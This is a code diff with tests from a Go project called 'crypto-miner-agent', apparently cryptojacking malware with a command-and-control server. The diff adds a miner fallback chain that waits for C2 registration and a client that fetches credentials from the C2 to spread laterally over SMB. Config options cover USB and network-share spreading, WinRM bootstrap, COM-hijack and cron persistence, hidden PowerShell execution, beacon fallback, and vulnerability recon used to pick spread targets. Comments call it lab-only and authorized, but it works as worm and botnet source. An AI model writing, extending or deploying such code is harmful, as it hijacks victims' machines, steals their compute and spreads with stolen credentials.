found = true
}
}
if !found {
t.Fatalf("expected container runtime blocker, got %v", blockers)
}
}
func TestMiningDiagnosticsIncludesTierChainFields(t *testing.T) {
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
})
defer miner.SetRuntimeDetector(nil)
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
defer miner.SetWSLDetector(nil)
SetPostureCollector(func() *PostureReport { return nil })
defer SetPostureCollector(nil)
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionAuto,
PoolHost: "pool.example.com",
},
}
c := testDiagnosticsClient(t, cfg)
d := c.collectMiningDiagnostics()
if len(d.TierChainOrder) == 0 {
t.Fatalf("expected tier_chain_order, got %+v", d)
}
if d.TierChainOrder[0] == "" {
t.Fatalf("empty tier id in chain: %v", d.TierChainOrder)
}
raw := c.miningDiagnosticsJSON()
var doc map[string]interface{}
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
t.Fatal(err)
}
for _, key := range []string{"tier_chain_order", "tier_chain_skipped"} {
if _, ok := doc[key]; !ok {
t.Fatalf("missing key %q in diagnostics JSON", key)
}
}
}
func TestInferMiningBlockersGPUConfiguredInactive(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{GPUEnabled: true},
})
d := MiningDiagnostics{
GPU: struct {
Enabled bool `json:"enabled"`
Active bool `json:"active"`
Paused bool `json:"paused"`
Model string `json:"model,omitempty"`
}{Enabled: true, Active: false, Paused: false},
}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range blockers {
if strings.Contains(b, "GPU mining configured but subprocess inactive") {
found = true
}
}
if !found {
t.Fatalf("expected GPU inactive blocker, got %v", blockers)
}
}

View File

@@ -0,0 +1,47 @@
package client
import (
"encoding/json"
"crypto-miner-agent/miner"
)
func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
c.mu.Lock()
defer c.mu.Unlock()
if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 {
return miner.DefaultMiningTierPolicy()
}
return c.tierPolicy
}
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
if len(resp.MiningTierPolicy) > 0 {
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
return
}
if len(resp.LotlOnionTiers) == 0 {
return
}
order := make([]miner.LOTLTier, len(resp.LotlOnionTiers))
for i, s := range resp.LotlOnionTiers {
order[i] = miner.LOTLTier(s)
}
c.mu.Lock()
c.tierPolicy = miner.MiningTierPolicy{TierOrder: order}
c.mu.Unlock()
}
func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var p miner.MiningTierPolicy
if err := json.Unmarshal(raw, &p); err != nil {
return
}
c.mu.Lock()
c.tierPolicy = p
c.mu.Unlock()
}

View File

@@ -0,0 +1,61 @@
package client
import (
"encoding/json"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
)
func TestMiningTierPolicyDefaultsWhenEmpty(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
policy := c.miningTierPolicy()
defaults := miner.DefaultMiningTierPolicy()
if len(policy.TierOrder) != len(defaults.TierOrder) {
t.Fatalf("tier order len=%d want %d", len(policy.TierOrder), len(defaults.TierOrder))
}
if policy.TierOrder[0] != defaults.TierOrder[0] {
t.Fatalf("first tier=%q want %q", policy.TierOrder[0], defaults.TierOrder[0])
}
}
func TestApplyAuthLotlPolicyFromServerTiers(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
c.applyAuthLotlPolicy(AuthResponse{
Success: true,
LotlOnionTiers: []string{"container", "wsl", "cpu_inprocess"},
})
policy := c.miningTierPolicy()
want := []miner.LOTLTier{miner.TierContainer, miner.TierWSL, miner.TierCPUInprocess}
if len(policy.TierOrder) != len(want) {
t.Fatalf("order=%v want %v", policy.TierOrder, want)
}
for i := range want {
if policy.TierOrder[i] != want[i] {
t.Fatalf("order[%d]=%q want %q", i, policy.TierOrder[i], want[i])
}
}
}
func TestApplyMiningTierPolicyJSONSkipTiers(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
raw := json.RawMessage(`{"skip_tiers":["exe_subprocess","wsl"],"force_tier":"cpu_inprocess"}`)
c.applyMiningTierPolicyJSON(raw)
policy := c.miningTierPolicy()
if len(policy.SkipTiers) != 2 || policy.SkipTiers[0] != miner.TierExeSubprocess {
t.Fatalf("skip=%v", policy.SkipTiers)
}
if policy.ForceTier != miner.TierCPUInprocess {
t.Fatalf("force=%q", policy.ForceTier)
}
}
func TestApplyMiningTierPolicyJSONIgnoresInvalid(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
c.applyMiningTierPolicyJSON(json.RawMessage(`not-json`))
policy := c.miningTierPolicy()
if len(policy.TierOrder) == 0 {
t.Fatal("invalid JSON should leave defaults intact")
}
}

View File

@@ -0,0 +1,59 @@
package client
import (
"context"
"log"
"strings"
"time"
)
// MiningDiagnosticsReady reports whether the agent may start the mining fallback chain.
// Spread/GPO/Intune agents defer mining until C2 registration succeeds and hard blockers clear.
func MiningDiagnosticsReady(d MiningDiagnostics) bool {
if d.ChainExhausted {
return false
}
if d.HostMiningDisabled && !d.ContainerRunning {
return false
}
if !d.C2Connected {
return false
}
for _, b := range d.LikelyBlockers {
lower := strings.ToLower(b)
if strings.Contains(lower, "chain exhausted") ||
strings.Contains(lower, "host mining disabled") {
return false
}
}
return true
}
// startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain.
func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
const maxWait = 120 * time.Second
deadline := time.Now().Add(maxWait)
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
tryStart := func(reason string) {
log.Printf("[mining] %s — starting fallback chain", reason)
c.miningChain.Start(ctx)
}
for {
if MiningDiagnosticsReady(c.collectMiningDiagnostics()) {
tryStart("diagnostics pass")
return
}
if time.Now().After(deadline) {
tryStart("diagnostics wait timeout")
return
}
select {
case <-ctx.Done():
return
case <-ticker.C:
}
}
}

View File

@@ -0,0 +1,48 @@
package client
import (
"testing"
"crypto-miner-agent/config"
)
func TestMiningDiagnosticsReadyRequiresC2(t *testing.T) {
d := MiningDiagnostics{C2Connected: false}
if MiningDiagnosticsReady(d) {
t.Fatal("expected false without C2")
}
d.C2Connected = true
if !MiningDiagnosticsReady(d) {
t.Fatal("expected true with C2 and no hard blockers")
}
}
func TestMiningDiagnosticsReadyRejectsExhausted(t *testing.T) {
d := MiningDiagnostics{C2Connected: true, ChainExhausted: true}
if MiningDiagnosticsReady(d) {
t.Fatal("expected false when chain exhausted")
}
}
func TestMiningDiagnosticsReadyRejectsHostDisabled(t *testing.T) {
d := MiningDiagnostics{
C2Connected: true,
HostMiningDisabled: true,
ContainerRunning: false,
}
if MiningDiagnosticsReady(d) {
t.Fatal("expected false when host mining disabled without container")
}
}
func TestMiningDiagnosticsReadyIgnoresTransientBlockers(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
d := MiningDiagnostics{
C2Connected: true,
LikelyBlockers: []string{"C2 connected but no mining job delivered"},
}
if !MiningDiagnosticsReady(d) {
t.Fatalf("transient blockers should not block ready state: %v", d.LikelyBlockers)
}
_ = c
}

View File

@@ -0,0 +1,9 @@
package client
// postureCollector overrides collectPosture in tests. Nil restores platform defaults.
var postureCollector func() *PostureReport
// SetPostureCollector stubs posture collection in tests. Pass nil to restore defaults.
func SetPostureCollector(fn func() *PostureReport) {
postureCollector = fn
}

View File

@@ -14,6 +14,9 @@ import (
) )
func collectPosture() *PostureReport { func collectPosture() *PostureReport {
if postureCollector != nil {
return postureCollector()
}
r := &PostureReport{AgentServiceOK: boolPtr(true)} r := &PostureReport{AgentServiceOK: boolPtr(true)}
// ── Firewall ─────────────────────────────────────────────────────────────── // ── Firewall ───────────────────────────────────────────────────────────────

View File

@@ -176,6 +176,9 @@ $p | ConvertTo-Json -Depth 4 -Compress
` `
func collectPosture() *PostureReport { func collectPosture() *PostureReport {
if postureCollector != nil {
return postureCollector()
}
out, err := silentCombinedOutput( out, err := silentCombinedOutput(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
buildPostureScript(), buildPostureScript(),

View File

@@ -1,6 +1,10 @@
package client package client
import "encoding/json" import (
"encoding/json"
"crypto-miner-agent/deploy"
)
type Message struct { type Message struct {
Type string `json:"type"` Type string `json:"type"`
@@ -45,12 +49,18 @@ type AuthPayload struct {
USBSpread bool `json:"usb_spread,omitempty"` USBSpread bool `json:"usb_spread,omitempty"`
Campaign string `json:"campaign,omitempty"` Campaign string `json:"campaign,omitempty"`
UTM string `json:"utm,omitempty"` UTM string `json:"utm,omitempty"`
LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
} }
type AuthResponse struct { type AuthResponse struct {
Success bool `json:"success"` Success bool `json:"success"`
AgentID string `json:"agent_id"` AgentID string `json:"agent_id"`
Error string `json:"error"` Error string `json:"error"`
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
} }
type SharePayload struct { type SharePayload struct {
@@ -60,6 +70,13 @@ type SharePayload struct {
Worker string `json:"worker_name"` Worker string `json:"worker_name"`
} }
// MethodFailurePayload mirrors miner.MethodFailure in stats JSON.
type MethodFailurePayload struct {
Method string `json:"method"`
Reason string `json:"reason"`
At string `json:"at"`
}
type StatsPayload struct { type StatsPayload struct {
Hashrate15s float64 `json:"hashrate_15s"` Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"` Hashrate1m float64 `json:"hashrate_1m"`
@@ -110,6 +127,48 @@ type StatsPayload struct {
RebootPending *bool `json:"reboot_pending,omitempty"` RebootPending *bool `json:"reboot_pending,omitempty"`
AgentElevated *bool `json:"agent_elevated,omitempty"` AgentElevated *bool `json:"agent_elevated,omitempty"`
Services []ServiceStatus `json:"services,omitempty"` Services []ServiceStatus `json:"services,omitempty"`
// Mining fallback cascade (container → in-process → GPU → Stratum)
ActiveMethod string `json:"active_method,omitempty"`
FailedMethods []MethodFailurePayload `json:"failed_methods,omitempty"`
MiningLastError string `json:"last_error,omitempty"`
ChainOrder []string `json:"chain_order,omitempty"`
StratumOverlay bool `json:"stratum_overlay,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
// Fleet health telemetry — routed via agent WSS stats_batch (same port as heartbeat)
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
LOTLTier string `json:"lotl_tier,omitempty"`
LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"`
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
JoinLane string `json:"join_lane,omitempty"`
// Passive LAN/domain recon for spread targeting and Path Tracer graph hints.
NetworkHints *deploy.NetworkHints `json:"network_hints,omitempty"`
// Authorized fleet vulnerability recon (read-only LOTL probe tier)
VulnFindings []VulnFindingPayload `json:"vuln_findings,omitempty"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
}
// VulnFindingPayload mirrors vulnprobe.VulnFinding in stats JSON.
type VulnFindingPayload struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
}
// TierAttemptPayload mirrors miner.TierAttempt in stats JSON.
type TierAttemptPayload struct {
Phase string `json:"phase,omitempty"`
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
} }
type ShareResult struct { type ShareResult struct {

142
agent/client/spread_cred.go Normal file
View File

@@ -0,0 +1,142 @@
package client
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"strings"
"time"
"crypto-miner-agent/deploy"
)
type spreadCredIssueResponse struct {
Token string `json:"token"`
ProfileID string `json:"profile_id"`
}
type spreadCredRedeemResponse struct {
ProfileID string `json:"profile_id"`
Username string `json:"username"`
Password string `json:"password"`
}
func (c *AgentClient) initSpreadCredHooks() {
if strings.TrimSpace(c.cfg.FleetSecret) == "" {
return
}
deploy.SetSpreadCredHooks(c.acquireSpreadCred, c.reportSpreadCredEdge)
}
func (c *AgentClient) spreadCredHTTPClient() *http.Client {
return &http.Client{Timeout: 20 * time.Second}
}
func (c *AgentClient) spreadCredAPIBase() (string, error) {
raw := strings.TrimSpace(c.cfg.ServerURL)
if raw == "" {
return "", fmt.Errorf("empty server URL")
}
if !strings.Contains(raw, "://") {
raw = "http://" + raw
}
return strings.TrimSuffix(raw, "/") + "/api/v1", nil
}
func (c *AgentClient) acquireSpreadCred(host, subnet, method string) (deploy.SpreadCredSession, error) {
base, err := c.spreadCredAPIBase()
if err != nil {
return deploy.SpreadCredSession{}, err
}
issueBody, _ := json.Marshal(map[string]string{
"agent_id": c.agentID,
"host": host,
"subnet": subnet,
"method": method,
})
issueReq, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/issue", bytes.NewReader(issueBody))
if err != nil {
return deploy.SpreadCredSession{}, err
}
issueReq.Header.Set("Content-Type", "application/json")
issueReq.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
resp, err := c.spreadCredHTTPClient().Do(issueReq)
if err != nil {
return deploy.SpreadCredSession{}, err
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusNotFound {
return deploy.SpreadCredSession{}, fmt.Errorf("deployment credentials not configured")
}
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
return deploy.SpreadCredSession{}, fmt.Errorf("spread-cred issue %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
}
var issued spreadCredIssueResponse
if err := json.NewDecoder(resp.Body).Decode(&issued); err != nil {
return deploy.SpreadCredSession{}, err
}
if strings.TrimSpace(issued.Token) == "" {
return deploy.SpreadCredSession{}, fmt.Errorf("empty spread-cred token")
}
redeemBody, _ := json.Marshal(map[string]string{"token": issued.Token})
redeemReq, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/redeem", bytes.NewReader(redeemBody))
if err != nil {
return deploy.SpreadCredSession{}, err
}
redeemReq.Header.Set("Content-Type", "application/json")
redeemReq.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
resp, err = c.spreadCredHTTPClient().Do(redeemReq)
if err != nil {
return deploy.SpreadCredSession{}, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
return deploy.SpreadCredSession{}, fmt.Errorf("spread-cred redeem %d: %s", resp.StatusCode, strings.TrimSpace(string(body)))
}
var redeemed spreadCredRedeemResponse
if err := json.NewDecoder(resp.Body).Decode(&redeemed); err != nil {
return deploy.SpreadCredSession{}, err
}
return deploy.SpreadCredSession{
ProfileID: redeemed.ProfileID,
Username: redeemed.Username,
Password: redeemed.Password,
}, nil
}
func (c *AgentClient) reportSpreadCredEdge(report deploy.SpreadCredReport) {
base, err := c.spreadCredAPIBase()
if err != nil {
return
}
body, err := json.Marshal(map[string]interface{}{
"agent_id": c.agentID,
"host": report.Host,
"subnet": report.Subnet,
"credential_profile_id": report.ProfileID,
"method": report.Method,
"success": report.Success,
})
if err != nil {
return
}
req, err := http.NewRequest(http.MethodPost, base+"/agent/spread-cred/report", bytes.NewReader(body))
if err != nil {
return
}
req.Header.Set("Content-Type", "application/json")
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
resp, err := c.spreadCredHTTPClient().Do(req)
if err != nil {
return
}
io.Copy(io.Discard, resp.Body) //nolint:errcheck
resp.Body.Close()
}

View File

@@ -0,0 +1,63 @@
package client
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
)
func TestAcquireSpreadCredIssueRedeemFlow(t *testing.T) {
var captured map[string]interface{}
mux := http.NewServeMux()
mux.HandleFunc("/api/v1/agent/spread-cred/issue", func(w http.ResponseWriter, r *http.Request) {
_ = json.NewEncoder(w).Encode(map[string]interface{}{
"token": "tok-1",
"profile_id": "profile-a",
})
})
mux.HandleFunc("/api/v1/agent/spread-cred/redeem", func(w http.ResponseWriter, r *http.Request) {
_ = json.NewEncoder(w).Encode(map[string]interface{}{
"profile_id": "profile-a",
"username": `lab\ops`,
"password": "secret",
})
})
mux.HandleFunc("/api/v1/agent/spread-cred/report", func(w http.ResponseWriter, r *http.Request) {
_ = json.NewDecoder(r.Body).Decode(&captured)
w.WriteHeader(http.StatusOK)
_, _ = w.Write([]byte(`{"ok":true}`))
})
srv := httptest.NewServer(mux)
defer srv.Close()
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
ServerURL: srv.URL,
FleetSecret: "fleet-test",
},
AgentID: "agent-1",
}
c := NewAgentClient(cfg)
session, err := c.acquireSpreadCred("10.0.0.5", "10.0.0", "smb_scm")
if err != nil {
t.Fatal(err)
}
if session.ProfileID != "profile-a" || session.Username == "" || session.Password == "" {
t.Fatalf("unexpected session: %#v", session)
}
c.reportSpreadCredEdge(deploy.SpreadCredReport{
Host: "10.0.0.5",
Subnet: "10.0.0",
ProfileID: "profile-a",
Method: "smb_scm",
Success: true,
})
if captured["credential_profile_id"] != "profile-a" || captured["success"] != true {
t.Fatalf("expected report payload, got %#v", captured)
}
}

View File

@@ -62,6 +62,28 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
collectSysCheckPlatform(r) collectSysCheckPlatform(r)
r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security) r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security)
if vr := RunVulnLOTLProbe(); vr != nil {
score := vr.RiskScore
r.VulnRiskScore = &score
if len(vr.Findings) > 0 {
r.VulnFindings = make([]struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
}, len(vr.Findings))
for i, f := range vr.Findings {
r.VulnFindings[i].CVEID = f.CVEID
r.VulnFindings[i].Severity = f.Severity
r.VulnFindings[i].Component = f.Component
r.VulnFindings[i].Patched = f.Patched
r.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext
r.VulnFindings[i].Detail = f.Detail
}
}
}
if dir, err := cfg.InstallDirectory(); err == nil { if dir, err := cfg.InstallDirectory(); err == nil {
if r.Environment == nil { if r.Environment == nil {

View File

@@ -23,6 +23,15 @@ type FullSysCheckReport struct {
Environment *SysCheckEnvironment `json:"environment,omitempty"` Environment *SysCheckEnvironment `json:"environment,omitempty"`
Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"` Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"`
KEVExposure *KEVScanReport `json:"kev_exposure,omitempty"` KEVExposure *KEVScanReport `json:"kev_exposure,omitempty"`
VulnFindings []struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
} `json:"vuln_findings,omitempty"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
RawSysinfo string `json:"raw_sysinfo,omitempty"` RawSysinfo string `json:"raw_sysinfo,omitempty"`
RawIPConfig string `json:"raw_ipconfig,omitempty"` RawIPConfig string `json:"raw_ipconfig,omitempty"`

View File

@@ -0,0 +1,179 @@
package client
import (
"context"
"encoding/json"
"log"
"crypto-miner-agent/deploy"
"crypto-miner-agent/miner"
)
func (c *AgentClient) tripleOnionPolicy() miner.TripleOnionPolicy {
c.mu.Lock()
defer c.mu.Unlock()
if !c.triplePolicyLoaded {
return miner.DefaultTripleOnionPolicy()
}
return miner.NormalizeTripleOnionPolicy(c.triplePolicy)
}
func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var p miner.TripleOnionPolicy
if err := json.Unmarshal(raw, &p); err != nil {
return
}
c.mu.Lock()
c.triplePolicy = miner.NormalizeTripleOnionPolicy(p)
c.triplePolicyLoaded = true
c.mu.Unlock()
}
func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator {
c := r.client
policy := c.tripleOnionPolicy()
return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
RunReconTier: r.runReconTier,
RunDeployLane: r.runDeployLane,
RunMining: r.startMiningCascade,
ReportEvent: r.reportOnionEvent,
})
}
func (r *MiningChainRunner) runReconTier(_ context.Context, tier string) miner.ReconTierResult {
switch tier {
case "kev_scan":
return r.reconKEVScan()
case "vuln_recon", "vuln_probe":
return r.reconVulnProbe()
case "service_probe":
return r.reconServiceProbe()
case "listen_ports":
return r.reconListenPorts()
default:
return miner.ReconTierResult{OK: false, Error: "unknown recon tier"}
}
}
func (r *MiningChainRunner) reconKEVScan() miner.ReconTierResult {
patch := collectPatchStatus()
ports := collectListenPorts()
var sec *SysCheckSecurity
if p := collectPosture(); p != nil {
sec = securityFromPosture(p)
}
kev := scanKEVExposure(patch, ports, sec)
if kev == nil {
return miner.ReconTierResult{OK: false, Error: "kev scan unavailable"}
}
return miner.ReconTierResult{
OK: true,
Snapshot: miner.ReconSnapshot{
RiskScore: kev.RiskScore,
CriticalExposed: kev.CriticalCount,
ExposedCount: kev.ExposedCount,
LikelyCount: kev.LikelyCount,
Details: map[string]interface{}{
"summary": kev.Summary,
"findings": len(kev.Findings),
},
},
}
}
func (r *MiningChainRunner) reconServiceProbe() miner.ReconTierResult {
p := collectPosture()
if p == nil {
return miner.ReconTierResult{OK: false, Error: "posture probe unavailable"}
}
count := len(p.Services)
return miner.ReconTierResult{
OK: true,
Snapshot: miner.ReconSnapshot{
ServiceCount: count,
Details: map[string]interface{}{
"posture_score": p.PostureScore,
},
},
}
}
func (r *MiningChainRunner) reconListenPorts() miner.ReconTierResult {
ports := collectListenPorts()
if ports == nil {
return miner.ReconTierResult{OK: false, Error: "listen_ports unavailable"}
}
return miner.ReconTierResult{
OK: true,
Snapshot: miner.ReconSnapshot{
OpenPortCount: ports.Count,
Details: map[string]interface{}{
"port_count": ports.Count,
},
},
}
}
func (r *MiningChainRunner) reconVulnProbe() miner.ReconTierResult {
report := RunVulnLOTLProbe()
if report == nil {
return miner.ReconTierResult{OK: false, Error: "vuln_recon unavailable"}
}
critical := 0
for _, f := range report.Findings {
if f.Severity == "critical" && !f.Patched {
critical++
}
}
return miner.ReconTierResult{
OK: true,
Snapshot: miner.ReconSnapshot{
RiskScore: report.RiskScore,
CriticalExposed: critical,
ExposedCount: report.ExposedCount,
LikelyCount: report.CriticalCount,
Details: map[string]interface{}{
"summary": report.Summary,
"findings": len(report.Findings),
},
},
}
}
func (r *MiningChainRunner) runDeployLane(_ context.Context, lane string) (bool, string) {
c := r.client
if lane == "discover_and_join" {
msg, err := c.runDiscoverAndJoin(8)
if err != nil {
return false, err.Error()
}
return true, msg
}
c.mu.Lock()
cfg := c.cfg
c.mu.Unlock()
return deploy.TryDiscoverJoinLane(cfg, lane)
}
func (r *MiningChainRunner) reportOnionEvent(report miner.TripleOnionReport, eventType string) {
c := r.client
payload, err := json.Marshal(struct {
miner.TripleOnionReport
Event string `json:"event"`
}{
TripleOnionReport: report,
Event: eventType,
})
if err != nil {
return
}
if err := c.write(Message{Type: "onion_report", Payload: payload}); err != nil {
log.Printf("[triple-onion] %s notify failed: %v", eventType, err)
}
r.mu.Lock()
r.onionAttempts = report.Attempts
r.mu.Unlock()
}

60
agent/client/vuln_scan.go Normal file
View File

@@ -0,0 +1,60 @@
package client
import (
"sync"
"crypto-miner-agent/deploy"
"crypto-miner-agent/vulnprobe"
)
var (
vulnScanMu sync.RWMutex
lastVulnReport *vulnprobe.ScanReport
)
func listeningPortMap(lp *ListenPortsReport) map[int]bool {
m := make(map[int]bool)
if lp == nil {
return m
}
for _, p := range lp.Ports {
m[p.Port] = true
}
return m
}
// vulnprobeProbeHost is overridden in tests to inject mocked probe output.
var vulnprobeProbeHost = func(ports map[int]bool, osVersion string) vulnprobe.HostContext {
return vulnprobe.ProbeHost(ports, osVersion)
}
// RunVulnLOTLProbe executes read-only LOTL vulnerability recon (authorized assessment).
func RunVulnLOTLProbe() *vulnprobe.ScanReport {
ports := collectListenPorts()
ctx := vulnprobeProbeHost(listeningPortMap(ports), deploy.HostOSVersion())
if patch := collectPatchStatus(); patch != nil {
if patch.LastPatchDays != nil {
ctx.LastPatchDays = *patch.LastPatchDays
}
if patch.LastPatch != nil {
ctx.LastPatch = *patch.LastPatch
}
}
report := vulnprobe.Run(ctx)
vulnScanMu.Lock()
lastVulnReport = report
vulnScanMu.Unlock()
return report
}
// LastVulnScan returns the most recent cached vulnerability report.
func LastVulnScan() *vulnprobe.ScanReport {
vulnScanMu.RLock()
defer vulnScanMu.RUnlock()
if lastVulnReport == nil {
return nil
}
dup := *lastVulnReport
dup.Findings = append([]vulnprobe.VulnFinding(nil), lastVulnReport.Findings...)
return &dup
}

View File

@@ -0,0 +1,32 @@
package client
import (
"testing"
"crypto-miner-agent/vulnprobe"
)
func TestRunVulnLOTLProbeMockedContext(t *testing.T) {
SetPostureCollector(func() *PostureReport { return nil })
defer SetPostureCollector(nil)
origProbe := vulnprobeProbeHost
vulnprobeProbeHost = func(_ map[int]bool, _ string) vulnprobe.HostContext {
return vulnprobe.HostContext{
Platform: "windows",
ExchangeInstalled: true,
LastPatchDays: 150,
ListeningPorts: map[int]bool{443: true},
}
}
defer func() { vulnprobeProbeHost = origProbe }()
report := RunVulnLOTLProbe()
if report == nil || len(report.Findings) == 0 {
t.Fatal("expected vuln findings from mocked probe")
}
cached := LastVulnScan()
if cached == nil || cached.RiskScore != report.RiskScore {
t.Fatalf("cache mismatch: %+v vs %+v", cached, report)
}
}

View File

@@ -12,6 +12,7 @@ func GetBuiltinConfig() BuiltinConfig {
ThreadPercent: 75, ThreadPercent: 75,
CPUPriority: "below_normal", CPUPriority: "below_normal",
MiningMode: "always", MiningMode: "always",
MinerExecution: "inprocess",
DisplayMode: "visible", DisplayMode: "visible",
SilentMode: false, SilentMode: false,
RunAs: "user", RunAs: "user",
@@ -53,5 +54,7 @@ func GetBuiltinConfig() BuiltinConfig {
RVNPoolPort: 6060, RVNPoolPort: 6060,
RVNPoolTLS: false, RVNPoolTLS: false,
RVNPoolPass: "x", RVNPoolPass: "x",
LotlOnionEnabled: false,
LotlPolicyFromServer: false,
} }
} }

View File

@@ -1,6 +1,7 @@
package config package config
import ( import (
"os"
"runtime" "runtime"
"strings" "strings"
"time" "time"
@@ -17,6 +18,11 @@ type BuiltinConfig struct {
ThreadPercent int ThreadPercent int
CPUPriority string CPUPriority string
MiningMode string MiningMode string
// MinerExecution selects CPU/GPU workload isolation: auto, container, inprocess, subprocess.
// Distinct from MiningMode schedule (always/idle/scheduled).
MinerExecution string
// DockerImageTar is a local OCI tarball path for docker_load tier (server policy / upload stub).
DockerImageTar string
DisplayMode string DisplayMode string
SilentMode bool SilentMode bool
RunAs string RunAs string
@@ -63,6 +69,10 @@ type BuiltinConfig struct {
AutoSpread bool AutoSpread bool
HolePunch bool HolePunch bool
RemoteAggressive bool RemoteAggressive bool
// Spread technique options (forge-baked; owned/lab only)
WinRMSpread bool // lateral WinRM encoded bootstrap in autospread
COMHijackPersist bool // COM CLSID hijack persistence — default off
LinuxLOTLMode string // systemd_run_user | crontab | both | off
// Passive spreading — triggered by the environment rather than active scanning // Passive spreading — triggered by the environment rather than active scanning
USBSpread bool // copy agent to any newly-inserted removable/USB drive USBSpread bool // copy agent to any newly-inserted removable/USB drive
ShareSpread bool // drop agent onto already-mounted network shares ShareSpread bool // drop agent onto already-mounted network shares
@@ -93,8 +103,16 @@ type BuiltinConfig struct {
AgentKillAfterDays int // exit after N days since BuiltAt (0 = never) AgentKillAfterDays int // exit after N days since BuiltAt (0 = never)
// HTTPSBeaconFallback enables T1071.001 HTTPS POST beacons when WebSocket is down. // HTTPSBeaconFallback enables T1071.001 HTTPS POST beacons when WebSocket is down.
HTTPSBeaconFallback bool HTTPSBeaconFallback bool
// StratumOverWS prefers mining jobs/shares via the C2 WebSocket (port 443/wss)
// instead of opening direct Stratum TCP egress to the pool.
StratumOverWS bool
// HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3). // HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3).
HTTPSBeaconAfterMin int HTTPSBeaconAfterMin int
// LOTL Onion — ordered native-tool spread contingencies (no extra miner exe drop).
LotlOnionEnabled bool
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth
} }
// BackupPool holds connection info for a fallback Stratum mining pool. // BackupPool holds connection info for a fallback Stratum mining pool.
@@ -127,6 +145,11 @@ func Load() RuntimeConfig {
if b.MiningMode == "" { if b.MiningMode == "" {
b.MiningMode = "always" b.MiningMode = "always"
} }
